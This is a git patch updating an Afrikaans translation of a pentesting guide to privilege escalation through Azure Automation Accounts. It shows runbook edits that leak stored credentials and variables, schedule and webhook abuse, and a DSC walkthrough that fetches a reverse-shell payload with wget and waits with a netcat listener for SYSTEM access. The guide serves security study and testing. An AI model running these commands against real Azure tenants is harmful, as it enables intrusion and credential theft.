From c98c94efdfe2109f51a09ce6784d9a45737f38da Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 21 Jan 2026 20:50:22 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-automation-accounts-privesc.md | 112 ++++++++++-------- 1 file changed, 65 insertions(+), 47 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 0a2c231bd..7243a4dfe 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,29 +12,29 @@ Vir meer inligting, kyk: ### Hybrid Workers Group -- **Van die Automatiseringsrekening na die VM** +- **Van die Automation Account na die VM** -Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hibriede werker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM. +Onthou dat as 'n aanvaller op een of ander manier 'n runbook (enige kode) in 'n hybrid worker kan uitvoer, sal hy **pivot to the location of the VM**. Dit kan 'n on-premise masjien, 'n VPC van 'n ander cloud of selfs 'n Azure VM wees. -Boonop, as die hibriede werker in Azure met ander bestuurde identiteite aanheg, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata-diens**. +Boonop, as die hybrid worker in Azure loop met ander Managed Identities aangeheg, sal die runbook toegang hê tot die **managed identity of the runbook and all the managed identities of the VM from the metadata service**. > [!TIP] -> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite-token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**). +> Onthou dat die **metadata service** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die managed identities-token van die Automation Account verkry word (**`IDENTITY_ENDPOINT`**). -- **Van die VM na die Automatiseringsrekening** +- **Van die VM na die Automation Account** -Boonop, as iemand 'n VM waar 'n automatiseringsrekening-skrip loop, kompromitteer, sal hy in staat wees om die **Automatiseringsrekening** metadata te lokaliseer en dit vanaf die VM te benader om tokens vir die **Bestuurde Identiteite** wat aan die Automatiseringsrekening geheg is, te verkry. +Boonop, as iemand 'n VM kompromitteer waarop 'n Automation Account-skrip loop, sal hy die metadata van die **Automation Account** kan opspoor en daarvan vanaf die VM toegang kry om tokens te verkry vir die **Managed Identities** wat aan die Automation Account gekoppel is. -Soos in die volgende beeld gesien kan word, is dit moontlik om in die **omgewing veranderlikes van die proses** die URL en geheim te vind om toegang tot die automatiseringsrekening metadata-diens te verkry: +Soos te sien in die volgende beeld, met Administrator-toegang tot die VM is dit moontlik om in die **environment variables of the process** die URL en geheim te vind om toegang te kry tot die automation account metadata service: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -As opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Automatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Automatiseringsrekening uit te voer en voorregte na die toegewyde **Bestuurde Identiteite** te eskaleer en **bewyse** en **versleutelde veranderlikes** wat in die Automatiseringsrekening gestoor is, te lek. +Kortom, hierdie permissies laat toe om **Runbooks te skep, te wysig en uit te voer** in die Automation Account, wat gebruik kan word om **kode uit te voer** in die konteks van die Automation Account en om privilegies op te skaal na die toegewezen **Managed Identities** en om 'leak' **credentials** en **encrypted variables** wat in die Automation Account gestoor is. -Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automatiseringsrekening te wysig met: +Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automation Account te wysig deur: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Let op hoe die vorige skrip gebruik kan word om die **gebruikersnaam en wagwoord** van 'n geloofsbrief en die waarde van 'n **versleutelde veranderlike** wat in die Automatiseringsrekening gestoor is, te **lek**. +Let op hoe die vorige script gebruik kan word om die **leak van die gebruikersnaam en wagwoord** van 'n credential en die waarde van 'n **geënkripteerde veranderlike** wat in die Automation Account gestoor is, te verkry. -Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te publiseer sodat die veranderinge toegepas word: +Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publiseer sodat die veranderinge toegepas word: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te hardloop met: +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met behulp van: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n taak in die Automatiseringsrekening te lees met: +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n job in die Automation Account te lees met behulp van: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -As daar nie Runbooks geskep is nie, of jy wil 'n nuwe een skep, sal jy die **toestemmings `Microsoft.Resources/subscriptions/resourcegroups/read` en `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met: +As daar nog geen Runbooks geskep is nie, of jy wil 'n nuwe een skep, sal jy die **toestemmings `Microsoft.Resources/subscriptions/resourcegroups/read` en `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen deur gebruik te maak van: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Hierdie toestemming laat die gebruiker toe om **'n gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met: +Hierdie toestemming laat die gebruiker toe om **'n user managed identity toe te ken** aan die Automation Account met behulp van: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Skedule in die Automatiseringsrekening te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met behulp van die volgende opdrag. +Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met die volgende opdrag. -Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms is. +Merk op dat die **minimum interval vir 'n skedule 15 minute is**, en dat die **minimum begin tyd 5 minute in die toekoms is**. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Skeduleerder aan 'n runbook toe te ken met: +Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken deur gebruik te maak van: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep. +> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n ewekansige waarde moet gebruik om hierdie toewysing te skep. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met behulp van die volgende opdrag. +Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende opdragte te gebruik. + +Met Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Hierdie opdrag behoort 'n webhook URI te retourneer wat slegs tydens die skepping vertoon word. Dan, om die runbook te bel met behulp van die webhook URI +Met AzureCLI en REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Hierdie opdragte behoort 'n webhook URI terug te gee wat slegs by skepping vertoon word. Gebruik dan die webhook URI om die runbook aan te roep. ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met behulp van die volgende opdragte. +Slegs met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook by te werk** sonder om dit te publiseer en dit uit te voer met die volgende opdragte. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Hierdie toestemming laat die gebruiker toe om **'n bronbeheer** vir die Automatiseringsrekening te **konfigureer** met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld): +Hierdie toestemming laat die gebruiker toe om **'n source control te konfigureer** vir die Automation Account deur 'n opdrag soos die volgende te gebruik (dit gebruik Github as voorbeeld): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Dit sal outomaties die runbooks van die Github-repo na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**. +Hierdie sal die runbooks outomaties vanaf die Github repository na die Automation Account invoer en, met 'n paar ander toestemmings om dit te begin uitvoer, sou dit **possible to escalate privileges** wees. -Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê, en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word. +Bovendien, onthou dat vir source control om in Automation Accounts te werk dit 'n managed identity met die rol **`Contributor`** moet hê, en as dit 'n user managed identity is, moet die client id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word. > [!TIP] -> Let daarop dat dit nie moontlik is om die repo-URL van 'n bronbeheer te verander sodra dit geskep is nie. +> Let wel: dit is nie moontlik om die repo URL van 'n source control te verander sodra dit geskep is nie. ### `Microsoft.Automation/automationAccounts/variables/write` -Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met behulp van die volgende opdrag. +Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met die volgende opdrag. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -213,53 +231,53 @@ az rest --method PUT \ } }' ``` -### Pasgemaakte Runtime Omgewings +### Aangepaste runtime-omgewings -As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met kwaadwillige kode (soos **'n agterdeur**) te oorskryf. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word. +As an automation account 'n custom runtime environment gebruik, kan dit moontlik wees om 'n custom pakket van die runtime met kwaadwillige kode oor te skryf (soos **a backdoor**). Op hierdie manier, wanneer 'n runbook wat daardie custom runtime gebruik uitgevoer word en die custom pakket laai, sal die kwaadwillige kode uitgevoer word. -### Kompromittering van Staat Konfigurasie +### Kompromittering van State-konfigurasie -**Kyk die volledige pos in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +Sien die volledige berig by: [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Stap 1 — Skep Lêers +- Stap 1 — Skep lêers -**Benodigde Lêers:** Twee PowerShell-skripte is nodig: -1. `reverse_shell_config.ps1`: 'n Gewenste Staat Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is beskikbaar vanaf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Vereiste lêers:** Twee PowerShell-skripte is nodig: +1. `reverse_shell_config.ps1`: 'n Desired State Configuration (DSC) file wat die payload haal en uitvoer. Dit is beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: 'n skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders. +**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet vir die gebruiker se spesifieke omgewing aangepas word, insluitende resource names, file paths, en server/payload identifiers. -- Stap 2 — Zip Konfigurasie Lêer +- Stap 2 — Zip die konfigurasielêer -Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. +Die `reverse_shell_config.ps1` word saamgepak in 'n `.zip`-lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Stap 3 — Stel Stoor Konteks in & Laai op +- Stap 3 — Stel Storage-konteks in & Oplaai -Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. +Die gezipte konfigurasielêer word na 'n voorafbepaalde Azure Storage-container, azure-pentest, opgelaai met Azure se Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` - Stap 4 — Berei Kali Box voor -Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek. +Die Kali-bediener laai die RevPS.ps1 payload van 'n GitHub repository af. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer. +Die script word gewysig om die teiken Windows VM en poort vir die reverse shell te spesifiseer. -- Stap 5 — Publiseer Konfigurasie Lêer +- Stap 5 — Publiseer konfigurasielêer -Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM. +Die konfigurasielêer word uitgevoer, waardeur die reverse-shell script op die gespesifiseerde ligging op die Windows VM ontplooi word. -- Stap 6 — Gasheer Payload en Stel Luisteraar Op +- Stap 6 — Host payload en stel listener op -'n Python SimpleHTTPServer word begin om die payload te gasheer, saam met 'n Netcat luisteraar om inkomende verbindings te vang. +'n Python SimpleHTTPServer word gestart om die payload te host, saam met 'n Netcat listener om inkomende verbindings vas te vang. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Die geskeduleerde taak voer die payload uit, wat SYSTEM-vlak voorregte bereik. +Die geskeduleerde taak voer die payload uit en behaal SYSTEM-level privileges. {{#include ../../../banners/hacktricks-training.md}}